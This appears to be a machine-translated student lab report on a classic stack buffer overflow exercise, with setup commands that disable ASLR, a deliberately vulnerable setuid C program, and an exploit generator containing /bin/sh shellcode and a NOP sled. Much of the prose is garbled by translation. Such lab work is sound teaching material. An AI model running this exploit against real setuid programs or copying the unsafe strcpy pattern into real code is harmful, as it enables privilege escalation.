2019-2020-11 20199313「Linuxカーネルの原理と分析」週に11件の仕事

週11学習 - 「バッファオーバーフロー攻撃実験」

  • 問題の説明:
    • 研究の最終段階の後、我々はコアコンピュータのオペレーティングシステムの作業メカニズムを理解するために来ているとLinuxカーネルがロードされ、実行可能プログラムを開始しています。スケジュール、pick_next_taskのcontext_switchおよび他の機能を追跡する学習。
  • 今週の学習:

    • バッファオーバーフローの原則を把握する実験によって、バッファオーバーフローの危険性を理解するために、リモートホストの侵入をシミュレートするためのソフトウェアを使用して、バッファオーバーフロー攻撃
      • そして予防策と回避バッファオーバーフロー攻撃を理解しています。

まず、理論的な説明

バッファオーバーフロー(バッファオーバーフロー)

カップ容量が制限される水の量は、容量を超えると、水がオーバーフローするカップに注いだ場合、水は、カップに注いだようなバッファオーバーフローの原理は、非常に簡単です。
バッファはデータの一時記憶のためのメモリ空間であり、その長さは、予めプログラムまたはオペレーティングシステムの定義されています。カップと同様バッファ、
書き込まれたデータを水に注ぎ同様です。バッファオーバーフローバッファは、バッファのサイズは、データ書き込み処理の長さ超える
ので、スタック破壊プロセスは、プログラムではなく、他の命令を実行することを、バッファのオーバーフローを引き起こします。

昨今ます

それは非常に一般的であり、非常にリスクの高い脆弱性は、オペレーティングシステムやアプリケーションソフトウェアの様々な普及しています。
バッファオーバーフロー攻撃エクスプロイト、エラー、システムクラッシュを実行しているリモートホストをしたり、他の異常を再起動することができ、それも、ハッカーによって使用することができます
任意のシステムアカウントが存在しない場合にシステムを最大限に制御を得るために、その後、様々な違法な操作を行います。

実装プロセス

思考

UNIXシステム上の機能Cの処理は、メモリセクションのセクションを割り当てられている場合、前記関数呼び出しスタック領域の面積、
呼び出し手順関数のリターンアドレス保存
スタック情報のスタックと底部を、ローカル変数そして、関数のパラメータ。上記主機能が実行されると、パラメータに応じて上記の情報は、
RET(リターンアドレス)とEBP(スタック下)
配列を順次スタック領域にプッシュし、その後、というローカル変数によるスタック内の対応する空間を開き
、これをプロセスのメモリ空間をからアプリケーションによって占有されている
低アドレス空間に高いの拡張メモリアドレス空間。空間は、ローカル変数が充填されているスタック内のローカル変数のために確保
するために、低アドレスメモリ空間から充填された順序
メモリ空間の上位アドレスを行います。機能が完了すると、ローカル変数はメモリ空間が破棄されます取る、とEBPによると
、元に呼び出し元の関数にしてRETアドレスバック
継続するアドレス空間。文字ハンドラがローカル変数は、監視と制限ボーダー交差しない場合は、ローカル変数が存在し
、高いメモリアドレス空間のRETをカバーし、クロスボーダーを書き込むための
バッファオーバーフローが生じ、情報EBPは。

プロセス:

  • 環境とツールキットをインストールします。

      $ sudo apt-get install -y lib32z1 libc6-dev-i386
      $ sudo apt-get install -y lib32readline-gplv2-dev
  • 初期セットアップ
    Ubuntuと他のLinuxシステムでは、メモリの正確なアドレスを推測します(ヒープ)のランダムなヒープ・スタック(スタック)に、アドレス空間のランダム化および初期アドレスを使用することは非常に困難になるが、憶測は、オーバーフローバッファメモリアドレスです。クリティカル攻撃。そこで、本実験では、我々は、この機能をオフにするには、次のコマンドを使用します。

      $ sudo sysctl -w kernel.randomize_va_space=0
  • zshの設定

呼び出されたとき、シェルプログラムを使用して、バッファオーバーフロー攻撃やその他の攻撃に対するさらなる保護するために、多くのシェルプログラムが自動的にその特権を放棄します。だから、あなたはセットUIDプログラムをカンニングすることができても、root権限で/ binに/ bashで実装され、この保護対策と、このシェルにとどまることができない、シェルを呼び出します。

    $ sudo su
    $ cd /bin
    $ rm sh
    $ ln -s zsh sh
    $ exit
  • Linuxの変調器32作品

      $linux32
      $/bin/bash
  • 脆弱性プログラム

      int bof(char *str)
      {
          char buffer[12];
          /* The following statement has a buffer overflow problem */ 
          strcpy(buffer, str);
          return 1;
      }
    
      int main(int argc, char **argv)
      {
          char str[517];
          FILE *badfile;     
          badfile = fopen("badfile", "r");
          fread(str, sizeof(char), 517, badfile);
          bof(str);
    
          printf("Returned Properly\n");
          return 1;
      }
  • そしてコンパイル

    $ sudo su
    $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    $ chmod u+s stack
    $ exit
  • 攻撃プログラム

      char shellcode[] =
          "\x31\xc0" //xorl %eax,%eax
          "\x50"     //pushl %eax
          "\x68""//sh" //pushl $0x68732f2f
          "\x68""/bin"     //pushl $0x6e69622f
          "\x89\xe3" //movl %esp,%ebx
          "\x50"     //pushl %eax
          "\x53"     //pushl %ebx
          "\x89\xe1" //movl %esp,%ecx
          "\x99"     //cdq
          "\xb0\x0b" //movb $0x0b,%al
          "\xcd\x80" //int $0x80
          ;
    
      void main(int argc, char **argv)
      {
          char buffer[517];
          FILE *badfile;
    
          /* Initialize buffer with 0x90 (NOP instruction) */
          memset(&buffer, 0x90, 517);
    
          /* You need to fill the buffer with appropriate contents here */
          strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
          strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
          /* Save the contents to the file "badfile" */
          badfile = fopen("./badfile", "w");
          fwrite(buffer, 517, 1, badfile);
          fclose(badfile);
      }

どこ:\ X ?? \ X ?? \ X ?? \ X ??オーバーフローが発生した後に、この位置は、単にリターンアドレスをカバーするため、メモリに保存されているシェルコードのアドレスを追加する必要があります。strcpyの(バッファ+ 100、シェルコード);これも教えてくれる、位置バッファ+ 100に格納されたシェルコード。ここでは、我々が追加する必要があるアドレスを取得する方法を詳細に説明します。

$ gdbのスタック
$ disassメイン

ブレークポイントアドレスビットを設定することにより、0xffff0611見出すことができる
(シェルコード、+ 100バッファ)ステートメントstrcpyのを 、 シェルコード我々は0xffff0611(16進数)+ 0x64(100 16進数)= 0xffffd484(16進数のアドレスを計算します)

  • コンパイル後、実行脆弱なプログラム・スタックを実行し、エクスプロイトエクスプロイト

成功へのアクセス権を獲得します。

第三に、要約

  • セットUIDは、Unixシステムのための重要な安全機構です。セットUIDプログラムが実行されている場合は、所有者の許可を想定しています。例えば、場合は、プログラムの所有者がルートであるので、このプログラムを実行している誰もが所有者の許可手続きを受けるとき。

  • ヒープ(ヒープ)とスタック(スタック)をランダム化するアドレス空間のランダム化の初期アドレス効率的な使用は、それがオーバーフロー攻撃を防ぐ能力を向上させることができます。



おすすめ

転載: www.cnblogs.com/dhr9313/p/11967953.html